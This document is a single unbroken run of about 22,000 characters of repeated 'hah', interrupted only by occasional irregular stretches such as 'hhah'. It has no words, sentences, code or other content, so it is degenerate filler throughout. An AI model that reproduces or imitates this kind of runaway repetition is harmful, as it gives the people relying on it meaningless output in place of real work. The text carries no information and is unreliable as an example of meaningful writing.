hahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhah